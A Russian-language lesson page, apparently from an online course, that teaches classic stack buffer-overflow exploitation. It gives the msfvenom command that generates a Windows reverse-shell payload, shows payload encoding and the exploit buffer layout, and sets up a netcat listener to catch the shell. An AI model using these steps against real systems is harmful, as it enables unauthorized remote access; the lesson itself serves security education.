0Pricing
Ethical Hacking Academy · Урок

Шелл-код и эксплуатация

Получение оболочки

«Шелл-код и эксплуатация» — бесплатный урок Ethical Hacking Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Ethical Hacking Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Ethical Hacking Academy содержит 4 уроков всего.

Что такое шелл-код

Шелл-код — небольшой фрагмент машинного кода, выполняющий определённое действие после запуска; классический пример — создание командной оболочки. Это полезная нагрузка, на которую Вы перенаправляете выполнение после получения управления EIP.

Он записывается в виде необработанных байтов (опкодов), поэтому его можно напрямую внедрить в память.

Типы полезных нагрузок

К распространённым целям полезной нагрузки относятся:

  • Привязывающая оболочка: открывает порт для прослушивания на атакуемой системе.
  • Обратная оболочка: подключается обратно к атакующему (лучше работает через межсетевые экраны и NAT).
  • Выполнение команды: запускает одну команду, например добавление пользователя.

В реальных атаках чаще всего используются обратные оболочки.

Генерация с помощью msfvenom

msfvenom генерирует полезные нагрузки. Вы указываете тип полезной нагрузки, адрес и порт прослушивания, формат вывода и недопустимые символы, которых следует избегать.

Флаг -b исключает недопустимые символы, а -f задаёт формат вывода.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c

Зачем нужна кодировка

Необработанный шелл-код часто содержит недопустимые символы (например, нулевые байты). Кодировщик преобразует полезную нагрузку, чтобы избежать этих байтов, а затем добавляет в начало декодирующую заглушку, которая восстанавливает исходный код во время выполнения.

Классический кодировщик — x86/shikata_ga_nai.

msfvenom ... -e x86/shikata_ga_nai -b "\x00"

Декодировщик и самомодификация

Закодированный шелл-код декодирует себя в памяти перед запуском. Для этой самомодификации требуется небольшой запас места в стеке, поэтому цепочка NOP и достаточно большой буфер полезны.

Иногда сначала необходимо скорректировать ESP, чтобы декодировщик не повредил собственный код.

Сборка окончательного эксплойта

Полный буфер эксплойта состоит из следующих частей:

  • Заполнение до смещения.
  • Адрес возврата JMP ESP.
  • Цепочка NOP.
  • Закодированный шелл-код.

Отправьте эти данные в уязвимое поле, и выполнение перейдёт к Вашей полезной нагрузке.

buf = "A"*offset + ret + "\x90"*16 + shellcode

Настройка слушателя

Для обратной оболочки необходимо запустить прослушивание на своей машине до запуска эксплойта. Простой слушатель Netcat принимает входящее соединение.

Для многоэтапных полезных нагрузок вместо этого используйте multi/handler из Metasploit.

nc -lvnp 4444

Запуск эксплойта

Когда слушатель готов, отправьте сформированный буфер цели. Если всё совпадёт, шелл-код выполнится, и слушатель получит оболочку на машине-жертве.

Теперь у Вас есть возможность выполнять команды с правами уязвимого процесса.

python exploit.py 10.0.0.20 9999

Устранение неполадок

Если ничего не работает, проверьте распространённые причины:

  • В шелл-код или адрес возврата попал неподходящий символ.
  • NOP sled слишком короток.
  • Декодеру не хватило места в стеке (скорректируйте ESP).
  • Неправильное смещение или порядок байтов.

Методичная отладка в отладчике помогает изолировать проблему.

За пределами классического переполнения

Если DEP и ASLR включены, обычный шелл-код в стеке не выполнится. В современных атаках применяют программирование, ориентированное на возврат (ROP), чтобы объединять существующие фрагменты кода, а также утечки информации для обхода ASLR.

В этом курсе заложена основа, на которой строятся эти продвинутые методы.

Многоэтапная и цельная нагрузка

Полезные нагрузки бывают двух видов. Цельная полезная нагрузка содержит весь шелл-код в одном блоке. Многоэтапная полезная нагрузка отправляет небольшой начальный фрагмент, который загружает остальную часть с Вашего обработчика.

Многоэтапные полезные нагрузки помещаются в меньшие буферы, но для доставки второго этапа им нужен соответствующий обработчик, например multi/handler из Metasploit.

Быстрая проверка

Вспомните, почему шелл-код часто кодируют.

Итоги

Вы завершили цепочку эксплуатации:

  • Шелл-код — это полезная нагрузка; наиболее практичны обратные оболочки.
  • Сгенерируйте и закодируйте его с помощью msfvenom, чтобы избежать неподходящих символов.
  • Соберите заполнение + JMP ESP + NOP sled + шелл-код, запустите слушатель и выполните атаку.
  • Для современных целей нужны ROP и утечки информации, чтобы обойти DEP/ASLR.

Вы завершили курс по эксплуатации переполнения буфера.

Часто задаваемые вопросы

Урок «Шелл-код и эксплуатация» бесплатный?

Да — полный текст урока «Шелл-код и эксплуатация» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Ethical Hacking Academy, подпишись на CoddyKit PRO. Курс Ethical Hacking Academy содержит 4 уроков всего.

Чему я научусь в уроке «Шелл-код и эксплуатация»?

Получение оболочки Ты практикуешь Ethical Hacking Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать Ethical Hacking Academy?

Предыдущий опыт не требуется. Ethical Hacking Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.

Сколько времени занимает урок «Шелл-код и эксплуатация»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке Ethical Hacking Academy?

Да. Каждый урок Ethical Hacking Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. Память и стек
  2. Фаззинг для поиска сбоев
  3. Управление EIP
  4. Шелл-код и эксплуатация
← Назад к Ethical Hacking Academy